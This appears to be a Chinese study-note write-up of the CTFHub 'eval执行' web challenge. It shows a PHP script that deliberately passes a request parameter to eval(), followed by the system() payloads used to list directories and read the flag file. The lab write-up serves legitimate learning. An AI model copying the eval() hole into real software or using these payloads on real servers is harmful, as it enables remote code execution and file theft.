CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
Fanfanaas8 小时前
Linux 进程篇 (四)
linux·运维·服务器·开发语言·c++·学习
2501_944934738 小时前
咨询行业怎样提升自己?
学习
Engineer邓祥浩8 小时前
JVM学习笔记(11) 第四部分 程序编译与代码优化 第10章 前端编译与优化
jvm·笔记·学习
Sss_Ass8 小时前
跟着老师不迷路系列---跟着李述铜老师学习汇编语言之内核寄存器简介
学习·学习方法·汇编语言·李述铜
疯狂成瘾者8 小时前
SLF4J的学习路线
java·学习·slf4j
程序员雷欧8 小时前
大模型应用开发学习第九天
学习
alien爱吃蛋挞8 小时前
【JavaEE】Linux学习指南:基础命令与项目部署
linux·学习
阿凉07028 小时前
STM32 Flash 扇区分布学习
stm32·嵌入式硬件·学习
我的xiaodoujiao8 小时前
API 接口自动化测试详细图文教程学习系列12--Requests模块4--测试实践操作
python·学习·测试工具·pytest
夜瞬8 小时前
NLP学习笔记06:关系抽取——从规则方法到预训练模型
笔记·学习·自然语言处理